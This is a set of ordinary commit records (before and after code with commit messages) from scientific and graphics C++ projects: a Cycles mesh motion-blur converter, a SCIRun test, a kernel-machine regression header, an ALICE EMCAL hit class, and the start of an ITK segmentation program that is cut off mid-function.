*scene )\n{\n\tconst int numSamples = meshes.size();\n\n\tccl::Mesh *cmesh = nullptr;\n\tstd::vector<const IECoreScene::MeshPrimitive *> samples;\n\tIECoreScene::MeshPrimitivePtr midMesh;\n\n\tif( frameIdx != -1 ) \/\/ Start\/End frames\n\t{\n\t\tcmesh = convertCommon(meshes[frameIdx]);\n\n\t\tif( numSamples == 2 ) \/\/ Make sure we have 3 samples\n\t\t{\n\t\t\tconst V3fVectorData *p1 = meshes[0]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\tconst V3fVectorData *p2 = meshes[1]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\tif( p1 && p2 )\n\t\t\t{\n\t\t\t\tmidMesh = meshes[frameIdx]->copy();\n\t\t\t\tV3fVectorData *midP = midMesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\t\tIECore::LinearInterpolator<std::vector<V3f>>()( p1->readable(), p2->readable(), 0.5f, midP->writable() );\n\t\t\t\tsamples.push_back( midMesh.get() );\n\t\t\t}\n\t\t}\n\n\t\tfor( int i = 0; i < numSamples; ++i )\n\t\t{\n\t\t\tif( i == frameIdx )\n\t\t\t\tcontinue;\n\t\t\tsamples.push_back( meshes[i] );\n\t\t}\n\t}\n\telse if( numSamples % 2 ) \/\/ Odd numSamples\n\t{\n\t\tint _frameIdx = numSamples \/ 2;\n\t\tcmesh = convertCommon(meshes[_frameIdx]);\n\n\t\tfor( int i = 0; i < numSamples; ++i )\n\t\t{\n\t\t\tif( i == _frameIdx )\n\t\t\t\tcontinue;\n\t\t\tsamples.push_back( meshes[i] );\n\t\t}\n\t}\n\telse \/\/ Even numSamples\n\t{\n\t\tint _frameIdx = numSamples \/ 2 - 1;\n\t\tconst V3fVectorData *p1 = meshes[_frameIdx]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\tconst V3fVectorData *p2 = meshes[_frameIdx+1]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\tif( p1 && p2 )\n\t\t{\n\t\t\tmidMesh = meshes[_frameIdx]->copy();\n\t\t\tV3fVectorData *midP = midMesh->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\tIECore::LinearInterpolator<std::vector<V3f>>()( p1->readable(), p2->readable(), 0.5f, midP->writable() );\n\t\t\tcmesh = convertCommon( midMesh.get() );\n\t\t}\n\n\t\tfor( int i = 0; i < numSamples; ++i )\n\t\t{\n\t\t\tsamples.push_back( meshes[i] );\n\t\t}\n\t}\n\n\t\/\/ Add the motion position attributes\n\tcmesh->set_use_motion_blur( true );\n\tcmesh->set_motion_steps( samples.size() + 1 );\n\tccl::Attribute *attr_mP = cmesh->attributes.add( ccl::ATTR_STD_MOTION_VERTEX_POSITION, ccl::ustring(\"motion_P\") );\n\tccl::float3 *mP = attr_mP->data_float3();\n\n\tfor( size_t i = 0; i < samples.size(); ++i )\n\t{\n\t\tPrimitiveVariableMap::const_iterator pIt = samples[i]->variables.find( \"P\" );\n\t\tif( pIt != samples[i]->variables.end() )\n\t\t{\n\t\t\tconst V3fVectorData *p = runTimeCast<const V3fVectorData>( pIt->second.data.get() );\n\t\t\tif( p )\n\t\t\t{\n\t\t\t\tPrimitiveVariable::Interpolation pInterpolation = pIt->second.interpolation;\n\t\t\t\tif( pInterpolation == PrimitiveVariable::Varying || pInterpolation == PrimitiveVariable::Vertex || pInterpolation == PrimitiveVariable::FaceVarying )\n\t\t\t\t{\n\t\t\t\t\t\/\/ Vertex positions\n\t\t\t\t\tconst V3fVectorData *p = samples[i]->variableData<V3fVectorData>( \"P\", PrimitiveVariable::Vertex );\n\t\t\t\t\tconst std::vector<V3f> &points = p->readable();\n\t\t\t\t\tsize_t numVerts = p->readable().size();\n\n\t\t\t\t\tfor( size_t j = 0; j < numVerts; ++j, ++mP )\n\t\t\t\t\t\t*mP = ccl::make_float3( points[j].x, points[j].y, points[j].z );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tmsg( Msg::Warning, \"IECoreCyles::MeshAlgo::convert\", \"Variable \\\"Position\\\" has unsupported interpolation type - not generating sampled Position.\" );\n\t\t\t\t\tcmesh->attributes.remove( attr_mP );\n\t\t\t\t\tcmesh->set_motion_steps( 0 );\n\t\t\t\t\tcmesh->set_use_motion_blur( false );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tmsg( Msg::Warning, \"IECoreCyles::MeshAlgo::convert\", boost::format( \"Variable \\\"Position\\\" has unsupported type \\\"%s\\\" (expected V3fVectorData).\" ) % pIt->second.data->typeName() );\n\t\t\t\tcmesh->attributes.remove( attr_mP );\n\t\t\t\tcmesh->set_motion_steps( 0) ;\n\t\t\t\tcmesh->set_use_motion_blur( true );\n\t\t\t}\n\t\t}\n\t}\n\n\tcmesh->name = ccl::ustring( nodeName.c_str() );\n\treturn cmesh;\n}\n\nGeometryAlgo::ConverterDescription<MeshPrimitive> g_description( convert, convert );\n\n} \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2012 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n   License for the specific language governing rights and limitations under\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <Testing\/ModuleTestBase\/ModuleTestBase.h>\n#include <Modules\/Visualization\/ShowField.h>\n#include <Core\/Datatypes\/Legacy\/Field\/Field.h>\n#include <Core\/Algorithms\/Base\/AlgorithmVariableNames.h>\n#include <Core\/Utils\/Exception.h>\n#include <Core\/Logging\/Log.h>\n\nusing namespace SCIRun::Testing;\nusing namespace SCIRun::Core::Datatypes;\nusing namespace SCIRun::Dataflow::Networks;\nusing namespace SCIRun::Core::Algorithms;\nusing namespace SCIRun::Core;\nusing namespace SCIRun;\nusing namespace SCIRun::Core::Logging;\nusing ::testing::Values;\nusing ::testing::Combine;\nusing ::testing::Range;\n\nclass ShowFieldScalingTest : public ParameterizedModuleTest<int>\n{\nprotected:\n  virtual void SetUp()\n  {\n    Log::get().setVerbose(false);\n    showField = makeModule(\"ShowField\");\n    showField->setStateDefaults();\n    auto size = GetParam();\n    latVol = CreateEmptyLatVol(size, size, size);\n    stubPortNWithThisData(showField, 0, latVol);\n    Log::get() << INFO << \"Setting up ShowField with size \" << size << \"^3 latvol\" << std::endl;\n  }\n\n  UseRealModuleStateFactory f;\n  ModuleHandle showField;\n  FieldHandle latVol;\n};\n\nTEST_P(ShowFieldScalingTest, ConstructLatVolGeometry)\n{\n  Log::get() << INFO << \"Start ShowField::execute\" << std::endl;\n  showField->execute();\n  Log::get() << INFO << \"End ShowField::execute\" << std::endl;\n}\n\nINSTANTIATE_TEST_CASE_P(\n  ConstructLatVolGeometry,\n  ShowFieldScalingTest,\n  Values(20, 40, 60, 80\n  #ifndef WIN32   \/\/too slow already\n  , 100, 120, 150, 200, 256\n  #endif\n  )\n  );\n<commit_msg>VarBuffer updated; test should run up to 200 now<commit_after>\/*\n   For more information, please see: http:\/\/software.sci.utah.edu\n\n   The MIT License\n\n   Copyright (c) 2012 Scientific Computing and Imaging Institute,\n   University of Utah.\n\n   License for the specific language governing rights and limitations under\n   Permission is hereby granted, free of charge, to any person obtaining a\n   copy of this software and associated documentation files (the \"Software\"),\n   to deal in the Software without restriction, including without limitation\n   the rights to use, copy, modify, merge, publish, distribute, sublicense,\n   and\/or sell copies of the Software, and to permit persons to whom the\n   Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included\n   in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n   OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n   THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n   FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n   DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <Testing\/ModuleTestBase\/ModuleTestBase.h>\n#include <Modules\/Visualization\/ShowField.h>\n#include <Core\/Datatypes\/Legacy\/Field\/Field.h>\n#include <Core\/Algorithms\/Base\/AlgorithmVariableNames.h>\n#include <Core\/Utils\/Exception.h>\n#include <Core\/Logging\/Log.h>\n\nusing namespace SCIRun::Testing;\nusing namespace SCIRun::Core::Datatypes;\nusing namespace SCIRun::Dataflow::Networks;\nusing namespace SCIRun::Core::Algorithms;\nusing namespace SCIRun::Core;\nusing namespace SCIRun;\nusing namespace SCIRun::Core::Logging;\nusing ::testing::Values;\nusing ::testing::Combine;\nusing ::testing::Range;\n\nclass ShowFieldScalingTest : public ParameterizedModuleTest<int>\n{\nprotected:\n  virtual void SetUp()\n  {\n    Log::get().setVerbose(false);\n    showField = makeModule(\"ShowField\");\n    showField->setStateDefaults();\n    auto size = GetParam();\n    latVol = CreateEmptyLatVol(size, size, size);\n    stubPortNWithThisData(showField, 0, latVol);\n    Log::get() << INFO << \"Setting up ShowField with size \" << size << \"^3 latvol\" << std::endl;\n  }\n\n  UseRealModuleStateFactory f;\n  ModuleHandle showField;\n  FieldHandle latVol;\n};\n\nTEST_P(ShowFieldScalingTest, ConstructLatVolGeometry)\n{\n  Log::get() << INFO << \"Start ShowField::execute\" << std::endl;\n  showField->execute();\n  Log::get() << INFO << \"End ShowField::execute\" << std::endl;\n}\n\nINSTANTIATE_TEST_CASE_P(\n  ConstructLatVolGeometry,\n  ShowFieldScalingTest,\n  Values(20, 40, 60, 80\n  , 100, 120, 150, 200\/\/, 256\n  )\n  );\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n *  The Kernel-Machine Library                                             *\n *  Copyright (C) 2004, 2005 by Rutger W. ter Borg                         *\n *                                                                         *\n *  This program is free software; you can redistribute it and\/or          *\n *  modify it under the terms of the GNU General Public License            *\n *  as published by the Free Software Foundation; either version 2         *\n *  of the License, or (at your option) any later version.                 *\n *                                                                         *\n *  This program is distributed in the hope that it will be useful,        *\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of         *\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the          *\n *  GNU General Public License for more details.                           *\n *                                                                         *\n *  You should have received a copy of the GNU General Public License      *\n *  along with this program; if not, write to the Free Software            *\n *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307  *\n ***************************************************************************\/\n\n#ifndef REGRESSION_HPP\n#define REGRESSION_HPP\n\n#include <boost\/mpl\/bool.hpp>\n\nnamespace mpl = boost::mpl;\n\nnamespace kml {\n\n\/*! \\brief Defines a regression problem.\n\n\t\\param I the input type\n\t\\param O the output type\n\n\t\\section example Examples\n\t\\code\n    typedef kml::regression< ublas::vector<double>, double > problem;\n\t\\endcode\n    The problem defined as above can then be used as a template parameter in\n\tdefining kernel machines:\n\t\\code\n    kml::rvm< problem, kml::gaussian > my_machine( 1.6 );\n\t\\endcode\n\n\t\\sa classification, ranking\n\t\\ingroup problem\n*\/\n\/\/ template<typename I, typename O>\n\/\/ class regression {\n\/\/ public:\n\/\/ \ttypedef regression type;\n\/\/ \ttypedef I input_type;\n\/\/ \ttypedef O output_type;\n\/\/ };\n\ntemplate<typename T>\nclass regression {\npublic:\n\ttypedef regression type;\n\ttypedef typename T::first_type input_type;\n\ttypedef typename T::second_type output_type;\n};\n\n\n\n\n\/\/ define is_regression so we can recognise the regression type of problems\n\/\/ for (partial) specialisations\n\ntemplate<typename T>\nstruct is_regression: mpl::bool_<false> {};\n\ntemplate<typename T>\nstruct is_regression<regression<T> >: mpl::bool_<true> {};\n\n\n\n}\n\n\n\n#endif\n\n<commit_msg>added an example typedef to the regression type<commit_after>\/***************************************************************************\n *  The Kernel-Machine Library                                             *\n *  Copyright (C) 2004, 2005 by Rutger W. ter Borg                         *\n *                                                                         *\n *  This program is free software; you can redistribute it and\/or          *\n *  modify it under the terms of the GNU General Public License            *\n *  as published by the Free Software Foundation; either version 2         *\n *  of the License, or (at your option) any later version.                 *\n *                                                                         *\n *  This program is distributed in the hope that it will be useful,        *\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of         *\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the          *\n *  GNU General Public License for more details.                           *\n *                                                                         *\n *  You should have received a copy of the GNU General Public License      *\n *  along with this program; if not, write to the Free Software            *\n *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307  *\n ***************************************************************************\/\n\n#ifndef REGRESSION_HPP\n#define REGRESSION_HPP\n\n#include <boost\/mpl\/bool.hpp>\n\nnamespace mpl = boost::mpl;\n\nnamespace kml {\n\n\/*! \\brief Defines a regression problem.\n\n\t\\param I the input type\n\t\\param O the output type\n\n\t\\section example Examples\n\t\\code\n    typedef kml::regression< ublas::vector<double>, double > problem;\n\t\\endcode\n    The problem defined as above can then be used as a template parameter in\n\tdefining kernel machines:\n\t\\code\n    kml::rvm< problem, kml::gaussian > my_machine( 1.6 );\n\t\\endcode\n\n\t\\sa classification, ranking\n\t\\ingroup problem\n*\/\n\/\/ template<typename I, typename O>\n\/\/ class regression {\n\/\/ public:\n\/\/ \ttypedef regression type;\n\/\/ \ttypedef I input_type;\n\/\/ \ttypedef O output_type;\n\/\/ };\n\ntemplate<typename T>\nclass regression {\npublic:\n\ttypedef regression type;\n\ttypedef typename T example_type;\n\ttypedef typename T::first_type input_type;\n\ttypedef typename T::second_type output_type;\n};\n\n\n\n\n\/\/ define is_regression so we can recognise the regression type of problems\n\/\/ for (partial) specialisations\n\ntemplate<typename T>\nstruct is_regression: mpl::bool_<false> {};\n\ntemplate<typename T>\nstruct is_regression<regression<T> >: mpl::bool_<true> {};\n\n\n\n}\n\n\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n *                                                                        *\n * Author: The ALICE Off-line Project.                                    *\n * Contributors are mentioned in the code where appropriate.              *\n *                                                                        *\n * Permission to use, copy, modify and distribute this software and its   *\n * documentation strictly for non-commercial purposes is hereby granted   *\n * without fee, provided that the above copyright notice appears in all   *\n * copies and that both the copyright notice and this permission notice   *\n * appear in the supporting documentation. The authors make no claims     *\n * about the suitability of this software for any purpose. It is          *\n * provided \"as is\" without express or implied warranty.                  *\n **************************************************************************\/\n\n\/* $Id: *\/\n\n\/\/_________________________________________________________________________\n\/\/  Hits class for EMCAL    \n\/\/  A hit in EMCAL is the sum of all hits in a single segment\n\/\/  from a single enterring particle             \n\/\/*-- Author: Sahal Yacoob (LBL \/ UCT)\n\/\/ Based on AliPHOSHit\n\n\/\/ --- Standard library ---\n#include <Riostream.h>\n\n\/\/ --- ROOT system ---\n\n\/\/ --- AliRoot header files ---\n#include \"AliEMCALHit.h\"\n\nClassImp(AliEMCALHit)\n\n\/\/______________________________________________________________________\nAliEMCALHit::AliEMCALHit(){\n    \/\/ Default ctor\n   \n    fId      = 0;\n    fELOS    = 0.0;\n    fTime    = 0.0;\n    fPrimary = 0;\n    fTrack   = 0;\n    fX       = 0.0;\n    fY       = 0.0;\n    fZ       = 0.0;\n    fPx      = 0.0;\n    fPy      = 0.0;\n    fPz      = 0.0;\n    fPe      = 0.0;\n    fIparent = 0;\n    fIenergy = 0.0;\n}\n\/\/______________________________________________________________________\nAliEMCALHit::AliEMCALHit(const AliEMCALHit & hit) : AliHit(hit){\n    \/\/ copy ctor\n   \n    fId      = hit.fId ; \n    fELOS    = hit.fELOS ;\n    fPrimary = hit.fPrimary ; \n    fTrack   = hit.fTrack ; \n    fX       = hit.fX;\n    fY       = hit.fY;\n    fZ       = hit.fZ;\n    fPx       = hit.fPx;\n    fPy       = hit.fPy;\n    fPz       = hit.fPz;\n    fPe       = hit.fPe;\n    fIparent = hit.fIparent;\n    fIenergy = hit.fIenergy;\n    fTime    = hit.fTime  ;\n}\n\/\/______________________________________________________________________\nAliEMCALHit::AliEMCALHit(Int_t shunt, Int_t primary, Int_t track,Int_t iparent, Float_t ienergy, Int_t id,\n\t\t\t Float_t *hits,Float_t *p):AliHit(shunt, track){\n    \/\/\n    \/\/ Create an EMCAL  hit object\n    \/\/\n    fX          = hits[0];\n    fY          = hits[1];\n    fZ          = hits[2];\n    fTime       = hits[3] ;\n    fId         = id;\n    fELOS       = hits[4];\n    fPrimary    = primary;\n    fPx          = p[0];\n    fPy          = p[1];\n    fPz          = p[2];\n    fPe          = p[3];\n    fIparent    = iparent;\n    fIenergy    = ienergy;\n}\n\n\/\/______________________________________________________________________\nBool_t AliEMCALHit::operator==(AliEMCALHit const &rValue) const{ \n    \/\/ Two hits are identical if they have the same Id and originat\n    \/\/ from the same enterring Particle \n    Bool_t rv = kFALSE;\n\n    if ( (fId == rValue.GetId()) && ( fIparent == rValue.GetIparent()) )\n\trv = kTRUE;\n\n    return rv;\n}\n\/\/______________________________________________________________________\nAliEMCALHit AliEMCALHit::operator+(const AliEMCALHit &rValue){\n    \/\/ Add the energy of the hit\n\n    fELOS += rValue.GetEnergy() ;\n \n    if(rValue.GetTime() < fTime)\n      fTime = rValue.GetTime() ;\n \n    return *this;\n\n}\n\/\/______________________________________________________________________\nostream& operator << (ostream& out,AliEMCALHit& hit){\n    \/\/ Print out Id and energy\n\n    out << \"AliEMCALHit:\";\n    out << \"id=\" <<  hit.GetId();\n    out << \", Eloss=\" <<  hit.GetEnergy();\n    out << \", Time=\" << hit.GetTime();\n    out << \"GeV , Track no.=\" << hit.GetPrimary();\n    out << \", (xyz)=(\" << hit.X()<< \",\"<< hit.Y()<< \",\"<<hit.Z()<<\") cm\";\n    out << \", fTrack=\" << hit.GetTrack();\n    out << \", P=(\" << hit.GetPx() << \",\" << hit.GetPy() << \",\" << hit.GetPz()\n                  << \",\" <<hit.GetPe() << \") GeV\"  ;\n    out << \", Enterring particle ID\" << hit.GetIparent();\n    out << \", Enterring particle initial energy = \" << hit.GetIenergy() << \" GeV\" ;\n    out << endl;\n\n    return out;\n}\n<commit_msg>Changed a comment<commit_after>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n *                                                                        *\n * Author: The ALICE Off-line Project.                                    *\n * Contributors are mentioned in the code where appropriate.              *\n *                                                                        *\n * Permission to use, copy, modify and distribute this software and its   *\n * documentation strictly for non-commercial purposes is hereby granted   *\n * without fee, provided that the above copyright notice appears in all   *\n * copies and that both the copyright notice and this permission notice   *\n * appear in the supporting documentation. The authors make no claims     *\n * about the suitability of this software for any purpose. It is          *\n * provided \"as is\" without express or implied warranty.                  *\n **************************************************************************\/\n\n\/* $Id: *\/\n\n\/\/_________________________________________________________________________\n\/\/  Hits class for EMCAL    \n\/\/  A hit in EMCAL is the sum of all hits in a tower\n\/\/  from a single entering particle             \n\/\/*-- Author: Sahal Yacoob (LBL \/ UCT)\n\/\/ Based on AliPHOSHit\n\n\/\/ --- Standard library ---\n#include <Riostream.h>\n\n\/\/ --- ROOT system ---\n\n\/\/ --- AliRoot header files ---\n#include \"AliEMCALHit.h\"\n\nClassImp(AliEMCALHit)\n\n\/\/______________________________________________________________________\nAliEMCALHit::AliEMCALHit(){\n    \/\/ Default ctor\n   \n    fId      = 0;\n    fELOS    = 0.0;\n    fTime    = 0.0;\n    fPrimary = 0;\n    fTrack   = 0;\n    fX       = 0.0;\n    fY       = 0.0;\n    fZ       = 0.0;\n    fPx      = 0.0;\n    fPy      = 0.0;\n    fPz      = 0.0;\n    fPe      = 0.0;\n    fIparent = 0;\n    fIenergy = 0.0;\n}\n\/\/______________________________________________________________________\nAliEMCALHit::AliEMCALHit(const AliEMCALHit & hit) : AliHit(hit){\n    \/\/ copy ctor\n   \n    fId      = hit.fId ; \n    fELOS    = hit.fELOS ;\n    fPrimary = hit.fPrimary ; \n    fTrack   = hit.fTrack ; \n    fX       = hit.fX;\n    fY       = hit.fY;\n    fZ       = hit.fZ;\n    fPx       = hit.fPx;\n    fPy       = hit.fPy;\n    fPz       = hit.fPz;\n    fPe       = hit.fPe;\n    fIparent = hit.fIparent;\n    fIenergy = hit.fIenergy;\n    fTime    = hit.fTime  ;\n}\n\/\/______________________________________________________________________\nAliEMCALHit::AliEMCALHit(Int_t shunt, Int_t primary, Int_t track,Int_t iparent, Float_t ienergy, Int_t id,\n\t\t\t Float_t *hits,Float_t *p):AliHit(shunt, track){\n    \/\/\n    \/\/ Create an EMCAL  hit object\n    \/\/\n    fX          = hits[0];\n    fY          = hits[1];\n    fZ          = hits[2];\n    fTime       = hits[3] ;\n    fId         = id;\n    fELOS       = hits[4];\n    fPrimary    = primary;\n    fPx          = p[0];\n    fPy          = p[1];\n    fPz          = p[2];\n    fPe          = p[3];\n    fIparent    = iparent;\n    fIenergy    = ienergy;\n}\n\n\/\/______________________________________________________________________\nBool_t AliEMCALHit::operator==(AliEMCALHit const &rValue) const{ \n    \/\/ Two hits are identical if they have the same Id and originat\n    \/\/ from the same enterring Particle \n    Bool_t rv = kFALSE;\n\n    if ( (fId == rValue.GetId()) && ( fIparent == rValue.GetIparent()) )\n\trv = kTRUE;\n\n    return rv;\n}\n\/\/______________________________________________________________________\nAliEMCALHit AliEMCALHit::operator+(const AliEMCALHit &rValue){\n    \/\/ Add the energy of the hit\n\n    fELOS += rValue.GetEnergy() ;\n \n    if(rValue.GetTime() < fTime)\n      fTime = rValue.GetTime() ;\n \n    return *this;\n\n}\n\/\/______________________________________________________________________\nostream& operator << (ostream& out,AliEMCALHit& hit){\n    \/\/ Print out Id and energy\n\n    out << \"AliEMCALHit:\";\n    out << \"id=\" <<  hit.GetId();\n    out << \", Eloss=\" <<  hit.GetEnergy();\n    out << \", Time=\" << hit.GetTime();\n    out << \"GeV , Track no.=\" << hit.GetPrimary();\n    out << \", (xyz)=(\" << hit.X()<< \",\"<< hit.Y()<< \",\"<<hit.Z()<<\") cm\";\n    out << \", fTrack=\" << hit.GetTrack();\n    out << \", P=(\" << hit.GetPx() << \",\" << hit.GetPy() << \",\" << hit.GetPz()\n                  << \",\" <<hit.GetPe() << \") GeV\"  ;\n    out << \", Enterring particle ID\" << hit.GetIparent();\n    out << \", Enterring particle initial energy = \" << hit.GetIenergy() << \" GeV\" ;\n    out << endl;\n\n    return out;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"itkAddImageFilter.h\"\n#include \"itkWASPCommandLineOption.h\"\n#include \"itkWASPCommandLineParser.h\"\n#include \"itkDivideImageFilter.h\"\n#include \"itkImage.h\"\n#include \"itkMaskImageFilter.h\"\n#include \"itkWASPSegmentationImageFilter.h\"\n#include \"itkNumericSeriesFileNames.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkVectorImage.h\"\n#include \"itkVectorIndexSelectionCastImageFilter.h\"\n\n#include <string>\n#include <algorithm>\n#include <vector>\n\ntemplate <class TFilter>\nclass CommandIterationUpdate : public itk::Command\n{\npublic:\n  typedef CommandIterationUpdate  Self;\n  typedef itk::Command            Superclass;\n  typedef itk::SmartPointer<Self> Pointer;\n  itkNewMacro( Self );\nprotected:\n  CommandIterationUpdate()\n  {\n  };\npublic:\n\n  void Execute(itk::Object *caller, const itk::EventObject & event)\n  {\n    Execute( (const itk::Object *) caller, event);\n  }\n\n  void Execute(const itk::Object * object, const itk::EventObject & event)\n  {\n    const TFilter * filter =\n      dynamic_cast<const TFilter *>( object );\n\n    if( typeid( event ) != typeid( itk::IterationEvent ) )\n      {\n      return;\n      }\n\n    std::cout << \"Iteration \" << filter->GetElapsedIterations()\n              << \" (of \" << filter->GetMaximumNumberOfIterations() << \"): \";\n    std::cout << filter->GetCurrentConvergenceMeasurement()\n              << \" (threshold = \" << filter->GetConvergenceThreshold()\n              << \")\" << std::endl;\n  }\n};\n\nvoid ConvertToLowerCase( std::string& str )\n{\n  std::transform( str.begin(), str.end(), str.begin(), tolower );\n\/\/ You may need to cast the above line to (int(*)(int))\n\/\/ tolower - this works as is on VC 7.1 but may not work on\n\/\/ other compilers\n}\n\ntemplate <unsigned int ImageDimension>\nint ApocritaSegmentation( itk::WASPCommandLineParser *parser )\n{\n  typedef float                                 PixelType;\n  typedef itk::Image<PixelType, ImageDimension> InputImageType;\n\n  typedef unsigned char                         LabelType;\n  typedef itk::Image<LabelType, ImageDimension> LabelImageType;\n\n  typedef  itk::WASPSegmentationImageFilter\n    <InputImageType, LabelImageType> SegmentationFilterType;\n  typename SegmentationFilterType::Pointer segmenter\n    = SegmentationFilterType::New();\n\n  typedef CommandIterationUpdate<SegmentationFilterType> CommandType;\n  typename CommandType::Pointer observer = CommandType::New();\n  segmenter->AddObserver( itk::IterationEvent(), observer );\n\n  \/**\n   * Initialization\n   *\/\n  typename itk::WASPCommandLineParser::OptionType::Pointer initializationOption =\n    parser->GetOption( \"initialization\" );\n  if( initializationOption\n      && initializationOption->GetNumberOfParameters() < 2 )\n    {\n    std::cerr << \"Incorrect point set option specification.\" << std::endl;\n    std::cerr << \"   \" << initializationOption->GetDescription() << std::endl;\n    return EXIT_FAILURE;\n    }\n  else\n    {\n    typedef itk::ImageFileReader<InputImageType> ReaderType;\n    typename ReaderType::Pointer reader = ReaderType::New();\n    reader->SetFileName(\n      ( initializationOption->GetParameter( 0 ) ).c_str() );\n    reader->Update();\n\n    segmenter->SetInput( reader->GetOutput() );\n    segmenter->SetNumberOfClasses( parser->Convert<unsigned int>(\n                                     initializationOption->GetParameter( 1 ) ) );\n\n    std::string initializationStrategy = initializationOption->GetValue();\n    ConvertToLowerCase( initializationStrategy );\n\n    if( !initializationStrategy.compare( std::string( \"otsu\" ) ) )\n      {\n      segmenter->SetInitializationStrategy( SegmentationFilterType::Otsu );\n      }\n    else if( !initializationStrategy.compare( std::string( \"kmeans\" ) ) )\n      {\n      segmenter->SetInitializationStrategy( SegmentationFilterType::KMeans );\n      }\n    else if( !initializationStrategy.compare( std::string( \"priorprobabilities\" ) ) )\n      {\n      segmenter->SetInitializationStrategy( SegmentationFilterType::PriorProbabilityImages );\n\n      if( initializationOption->GetNumberOfParameters() > 3 )\n        {\n        segmenter->SetPriorProbabilityWeighting( parser->Convert<float>(\n                                                   initializationOption->GetParameter( 3 ) ) );\n        }\n      if( initializationOption->GetNumberOfParameters() > 2 )\n        {\n        std::string filename = initializationOption->GetParameter( 2 );\n\n        if( filename.find( std::string( \"%\" ) ) != std::string::npos )\n          {\n          itk::NumericSeriesFileNames::Pointer fileNamesCreator =\n            itk::NumericSeriesFileNames::New();\n          fileNamesCreator->SetStartIndex( 1 );\n          fileNamesCreator->SetEndIndex( segmenter->GetNumberOfClasses() );\n          fileNamesCreator->SetSeriesFormat( filename.c_str() );\n          const std::vector<std::string> & imageNames\n            = fileNamesCreator->GetFileNames();\n          for( unsigned int k = 0; k < imageNames.size(); k++ )\n            {\n            typedef itk::ImageFileReader<InputImageType> ReaderType;\n            typename ReaderType::Pointer reader = ReaderType::New();\n            reader->SetFileName( imageNames[k].c_str() );\n            reader->Update();\n\n            segmenter->SetPriorProbabilityImage( k + 1, reader->GetOutput() );\n            }\n          }\n        else\n          {\n          typedef itk::VectorImage<PixelType, ImageDimension> VectorImageType;\n          typedef itk::ImageFileReader<VectorImageType>       ReaderType;\n          typename ReaderType::Pointer reader = ReaderType::New();\n          reader->SetFileName( filename.c_str() );\n          reader->Update();\n\n          if(  reader->GetOutput()->GetNumberOfComponentsPerPixel()\n               != segmenter->GetNumberOfClasses() )\n            {\n            std::cerr << \"The number of components does not match the number of classes.\" << std::endl;\n            return EXIT_FAILURE;\n            }\n\n          typedef itk::VectorIndexSelectionCastImageFilter\n            <VectorImageType, InputImageType> CasterType;\n          typename CasterType::Pointer caster = CasterType::New();\n          caster->SetInput( reader->GetOutput() );\n          for( unsigned int k = 0; k < segmenter->GetNumberOfClasses(); k++ )\n            {\n            caster->SetIndex( k );\n            caster->Update();\n            segmenter->SetPriorProbabilityImage( k + 1, caster->GetOutput() );\n            }\n          }\n        }\n      }\n    else if( !initializationStrategy.compare( std::string( \"priorlabelimage\" ) ) )\n      {\n      segmenter->SetInitializationStrategy( SegmentationFilterType::PriorLabelImage );\n\n      if( initializationOption->GetNumberOfParameters() > 3 )\n        {\n        segmenter->SetPriorProbabilityWeighting( parser->Convert<float>(\n                                                   initializationOption->GetParameter( 3 ) ) );\n        }\n      if( 